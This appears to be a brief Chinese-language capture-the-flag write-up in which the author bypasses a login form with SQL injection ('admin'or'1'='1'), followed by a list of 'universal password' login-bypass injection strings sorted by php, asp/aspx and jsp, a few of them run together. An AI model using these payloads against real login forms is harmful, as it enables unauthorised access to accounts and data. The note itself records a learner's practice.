这题比较基础
输入'后报错,可以sql注入
尝试使用万能密码 username=admin'or'1'='1&password=admin'or'1'='1
成功
万能密码表(收集自网络)
php:
'or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--
asp aspx:
"or "a"="a
'.).or.('.a.'='.a
or 1=1--
'or 1=1--
a'or' 1=1--
"or 1=1--
'or.'a.'='a
"or"="a'='a
'or''='
or'='or' jsp 1'or'1'='1
admin' or 1=1/*
jsp:
1'or'1'='1<br/>admin' or 1=1/*
最近需要多做注入题熟悉sql注入